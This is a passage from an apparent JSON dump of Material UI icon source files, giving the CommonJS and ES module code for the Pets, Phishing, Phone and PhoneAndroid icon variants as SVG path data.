4.92-3l2.37 1.37 1-1.73-2.58-1.49c.1-.37.17-.75.22-1.14H21zm-9-9c.88 0 1.62.57 1.88 1.36C13.29 7.13 12.66 7 12 7s-1.29.13-1.88.36C10.38 6.57 11.12 6 12 6m0 13c-2.21 0-4-2.24-4-5s1.79-5 4-5 4 2.24 4 5-1.79 5-4 5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 11h2v6h-2z\"\n}, \"2\")], 'PestControlTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pets.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.34 14.86c-.87-1.02-1.6-1.89-2.48-2.91-.46-.54-1.05-1.08-1.75-1.32q-.165-.06-.33-.09c-.25-.04-.52-.04-.78-.04s-.53 0-.79.05q-.165.03-.33.09c-.7.24-1.28.78-1.75 1.32-.87 1.02-1.6 1.89-2.48 2.91-1.31 1.31-2.92 2.76-2.62 4.79.29 1.02 1.02 2.03 2.33 2.32.73.15 3.06-.44 5.54-.44h.18c2.48 0 4.81.58 5.54.44 1.31-.29 2.04-1.31 2.33-2.32.31-2.04-1.3-3.49-2.61-4.8\"\n}, \"4\")], 'Pets');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pets.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.34 14.86c-.87-1.02-1.6-1.89-2.48-2.91-.46-.54-1.05-1.08-1.75-1.32q-.165-.06-.33-.09c-.25-.04-.52-.04-.78-.04s-.53 0-.79.05q-.165.03-.33.09c-.7.24-1.28.78-1.75 1.32-.87 1.02-1.6 1.89-2.48 2.91-1.31 1.31-2.92 2.76-2.62 4.79.29 1.02 1.02 2.03 2.33 2.32.73.15 3.06-.44 5.54-.44h.18c2.48 0 4.81.58 5.54.44 1.31-.29 2.04-1.31 2.33-2.32.31-2.04-1.3-3.49-2.61-4.8\"\n}, \"4\")], 'Pets');"
  },
  {
    "path": "packages/mui-icons-material/lib/PetsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.34 14.86c-.87-1.02-1.6-1.89-2.48-2.91-.46-.54-1.05-1.08-1.75-1.32q-.165-.06-.33-.09c-.25-.04-.52-.04-.78-.04s-.53 0-.79.05q-.165.03-.33.09c-.7.24-1.28.78-1.75 1.32-.87 1.02-1.6 1.89-2.48 2.91-1.31 1.31-2.92 2.76-2.62 4.79.29 1.02 1.02 2.03 2.33 2.32.73.15 3.06-.44 5.54-.44h.18c2.48 0 4.81.58 5.54.44 1.31-.29 2.04-1.31 2.33-2.32.31-2.04-1.3-3.49-2.61-4.8\"\n}, \"4\")], 'PetsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PetsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.34 14.86c-.87-1.02-1.6-1.89-2.48-2.91-.46-.54-1.05-1.08-1.75-1.32q-.165-.06-.33-.09c-.25-.04-.52-.04-.78-.04s-.53 0-.79.05q-.165.03-.33.09c-.7.24-1.28.78-1.75 1.32-.87 1.02-1.6 1.89-2.48 2.91-1.31 1.31-2.92 2.76-2.62 4.79.29 1.02 1.02 2.03 2.33 2.32.73.15 3.06-.44 5.54-.44h.18c2.48 0 4.81.58 5.54.44 1.31-.29 2.04-1.31 2.33-2.32.31-2.04-1.3-3.49-2.61-4.8\"\n}, \"4\")], 'PetsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PetsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.34 14.86c-.87-1.02-1.6-1.89-2.48-2.91-.46-.54-1.05-1.08-1.75-1.32q-.165-.06-.33-.09c-.25-.04-.52-.04-.78-.04s-.53 0-.79.05q-.165.03-.33.09c-.7.24-1.28.78-1.75 1.32-.87 1.02-1.6 1.89-2.48 2.91-1.31 1.31-2.92 2.76-2.62 4.79.29 1.02 1.02 2.03 2.33 2.32.73.15 3.06-.44 5.54-.44h.18c2.48 0 4.81.58 5.54.44 1.31-.29 2.04-1.31 2.33-2.32.31-2.04-1.3-3.49-2.61-4.8\"\n}, \"4\")], 'PetsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PetsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.34 14.86c-.87-1.02-1.6-1.89-2.48-2.91-.46-.54-1.05-1.08-1.75-1.32q-.165-.06-.33-.09c-.25-.04-.52-.04-.78-.04s-.53 0-.79.05q-.165.03-.33.09c-.7.24-1.28.78-1.75 1.32-.87 1.02-1.6 1.89-2.48 2.91-1.31 1.31-2.92 2.76-2.62 4.79.29 1.02 1.02 2.03 2.33 2.32.73.15 3.06-.44 5.54-.44h.18c2.48 0 4.81.58 5.54.44 1.31-.29 2.04-1.31 2.33-2.32.31-2.04-1.3-3.49-2.61-4.8\"\n}, \"4\")], 'PetsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PetsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.34 14.86c-.87-1.02-1.6-1.89-2.48-2.91-.46-.54-1.05-1.08-1.75-1.32q-.165-.06-.33-.09c-.25-.04-.52-.04-.78-.04s-.53 0-.79.05q-.165.03-.33.09c-.7.24-1.28.78-1.75 1.32-.87 1.02-1.6 1.89-2.48 2.91-1.31 1.31-2.92 2.76-2.62 4.79.29 1.02 1.02 2.03 2.33 2.32.73.15 3.06-.44 5.54-.44h.18c2.48 0 4.81.58 5.54.44 1.31-.29 2.04-1.31 2.33-2.32.31-2.04-1.3-3.49-2.61-4.8\"\n}, \"4\")], 'PetsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PetsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.34 14.86c-.87-1.02-1.6-1.89-2.48-2.91-.46-.54-1.05-1.08-1.75-1.32q-.165-.06-.33-.09c-.25-.04-.52-.04-.78-.04s-.53 0-.79.05q-.165.03-.33.09c-.7.24-1.28.78-1.75 1.32-.87 1.02-1.6 1.89-2.48 2.91-1.31 1.31-2.92 2.76-2.62 4.79.29 1.02 1.02 2.03 2.33 2.32.73.15 3.06-.44 5.54-.44h.18c2.48 0 4.81.58 5.54.44 1.31-.29 2.04-1.31 2.33-2.32.31-2.04-1.3-3.49-2.61-4.8\"\n}, \"4\")], 'PetsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PetsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.34 14.86c-.87-1.02-1.6-1.89-2.48-2.91-.46-.54-1.05-1.08-1.75-1.32q-.165-.06-.33-.09c-.25-.04-.52-.04-.78-.04s-.53 0-.79.05q-.165.03-.33.09c-.7.24-1.28.78-1.75 1.32-.87 1.02-1.6 1.89-2.48 2.91-1.31 1.31-2.92 2.76-2.62 4.79.29 1.02 1.02 2.03 2.33 2.32.73.15 3.06-.44 5.54-.44h.18c2.48 0 4.81.58 5.54.44 1.31-.29 2.04-1.31 2.33-2.32.31-2.04-1.3-3.49-2.61-4.8\"\n}, \"4\")], 'PetsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PetsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19.5\",\n  cy: \"9.5\",\n  r: \"2.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.34 14.86c-.87-1.02-1.6-1.89-2.48-2.91-.46-.54-1.05-1.08-1.75-1.32q-.165-.06-.33-.09c-.25-.04-.52-.04-.78-.04s-.53 0-.79.05q-.165.03-.33.09c-.7.24-1.28.78-1.75 1.32-.87 1.02-1.6 1.89-2.48 2.91-1.31 1.31-2.92 2.76-2.62 4.79.29 1.02 1.02 2.03 2.33 2.32.73.15 3.06-.44 5.54-.44h.18c2.48 0 4.81.58 5.54.44 1.31-.29 2.04-1.31 2.33-2.32.31-2.04-1.3-3.49-2.61-4.8\"\n}, \"4\")], 'PetsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Phishing.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9c0-1.3-.84-2.4-2-2.82V2h-2v4.18C13.84 6.6 13 7.7 13 9s.84 2.4 2 2.82V15c0 2.21-1.79 4-4 4s-4-1.79-4-4v-1h3L5 9v6c0 3.31 2.69 6 6 6s6-2.69 6-6v-3.18c1.16-.42 2-1.52 2-2.82m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'Phishing');"
  },
  {
    "path": "packages/mui-icons-material/lib/Phishing.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9c0-1.3-.84-2.4-2-2.82V2h-2v4.18C13.84 6.6 13 7.7 13 9s.84 2.4 2 2.82V15c0 2.21-1.79 4-4 4s-4-1.79-4-4v-1h3L5 9v6c0 3.31 2.69 6 6 6s6-2.69 6-6v-3.18c1.16-.42 2-1.52 2-2.82m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'Phishing');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhishingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6.18V2h-2v4.18C13.84 6.6 13 7.7 13 9s.84 2.4 2 2.82V15c0 2.21-1.79 4-4 4s-4-1.79-4-4v-1.17l1.59 1.59L10 14 5 9v6c0 3.31 2.69 6 6 6s6-2.69 6-6v-3.18c1.16-.41 2-1.51 2-2.82s-.84-2.4-2-2.82M16 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PhishingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhishingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6.18V2h-2v4.18C13.84 6.6 13 7.7 13 9s.84 2.4 2 2.82V15c0 2.21-1.79 4-4 4s-4-1.79-4-4v-1.17l1.59 1.59L10 14 5 9v6c0 3.31 2.69 6 6 6s6-2.69 6-6v-3.18c1.16-.41 2-1.51 2-2.82s-.84-2.4-2-2.82M16 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PhishingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhishingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9c0-1.3-.84-2.4-2-2.82V3c0-.55-.45-1-1-1s-1 .45-1 1v3.18C13.84 6.6 13 7.7 13 9s.84 2.4 2 2.82v3.01c0 2.09-1.52 3.96-3.6 4.16C9.02 19.21 7 17.34 7 15v-1h1.79c.45 0 .67-.54.35-.85l-3.29-3.3c-.31-.31-.85-.09-.85.36v4.58c0 3.05 2.19 5.77 5.21 6.16C13.87 21.42 17 18.57 17 15v-3.18c1.16-.42 2-1.52 2-2.82m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PhishingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhishingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9c0-1.3-.84-2.4-2-2.82V3c0-.55-.45-1-1-1s-1 .45-1 1v3.18C13.84 6.6 13 7.7 13 9s.84 2.4 2 2.82v3.01c0 2.09-1.52 3.96-3.6 4.16C9.02 19.21 7 17.34 7 15v-1h1.79c.45 0 .67-.54.35-.85l-3.29-3.3c-.31-.31-.85-.09-.85.36v4.58c0 3.05 2.19 5.77 5.21 6.16C13.87 21.42 17 18.57 17 15v-3.18c1.16-.42 2-1.52 2-2.82m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PhishingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhishingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9c0-1.3-.84-2.4-2-2.82V2h-2v4.18C13.84 6.6 13 7.7 13 9s.84 2.4 2 2.82V15c0 2.21-1.79 4-4 4s-4-1.79-4-4v-1h3L5 9v6c0 3.31 2.69 6 6 6s6-2.69 6-6v-3.18c1.16-.42 2-1.52 2-2.82m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PhishingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhishingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9c0-1.3-.84-2.4-2-2.82V2h-2v4.18C13.84 6.6 13 7.7 13 9s.84 2.4 2 2.82V15c0 2.21-1.79 4-4 4s-4-1.79-4-4v-1h3L5 9v6c0 3.31 2.69 6 6 6s6-2.69 6-6v-3.18c1.16-.42 2-1.52 2-2.82m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PhishingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhishingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9c0-1.3-.84-2.4-2-2.82V2h-2v4.18C13.84 6.6 13 7.7 13 9s.84 2.4 2 2.82V15c0 2.21-1.79 4-4 4s-4-1.79-4-4v-1h3L5 9v6c0 3.31 2.69 6 6 6s6-2.69 6-6v-3.18c1.16-.42 2-1.52 2-2.82m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PhishingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhishingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9c0-1.3-.84-2.4-2-2.82V2h-2v4.18C13.84 6.6 13 7.7 13 9s.84 2.4 2 2.82V15c0 2.21-1.79 4-4 4s-4-1.79-4-4v-1h3L5 9v6c0 3.31 2.69 6 6 6s6-2.69 6-6v-3.18c1.16-.42 2-1.52 2-2.82m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PhishingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Phone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.62 10.79c1.44 2.83 3.76 5.14 6.59 6.59l2.2-2.2c.27-.27.67-.36 1.02-.24 1.12.37 2.33.57 3.57.57.55 0 1 .45 1 1V20c0 .55-.45 1-1 1-9.39 0-17-7.61-17-17 0-.55.45-1 1-1h3.5c.55 0 1 .45 1 1 0 1.25.2 2.45.57 3.57.11.35.03.74-.25 1.02z\"\n}), 'Phone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Phone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.62 10.79c1.44 2.83 3.76 5.14 6.59 6.59l2.2-2.2c.27-.27.67-.36 1.02-.24 1.12.37 2.33.57 3.57.57.55 0 1 .45 1 1V20c0 .55-.45 1-1 1-9.39 0-17-7.61-17-17 0-.55.45-1 1-1h3.5c.55 0 1 .45 1 1 0 1.25.2 2.45.57 3.57.11.35.03.74-.25 1.02z\"\n}), 'Phone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneAndroid.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 1H8C6.34 1 5 2.34 5 4v16c0 1.66 1.34 3 3 3h8c1.66 0 3-1.34 3-3V4c0-1.66-1.34-3-3-3m-2 20h-4v-1h4zm3.25-3H6.75V4h10.5z\"\n}), 'PhoneAndroid');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneAndroid.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 1H8C6.34 1 5 2.34 5 4v16c0 1.66 1.34 3 3 3h8c1.66 0 3-1.34 3-3V4c0-1.66-1.34-3-3-3m-2 20h-4v-1h4zm3.25-3H6.75V4h10.5z\"\n}), 'PhoneAndroid');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneAndroidOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 1H8C6.34 1 5 2.34 5 4v16c0 1.66 1.34 3 3 3h8c1.66 0 3-1.34 3-3V4c0-1.66-1.34-3-3-3m1 17H7V4h10zm-3 3h-4v-1h4z\"\n}), 'PhoneAndroidOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneAndroidOutlined.mjs",
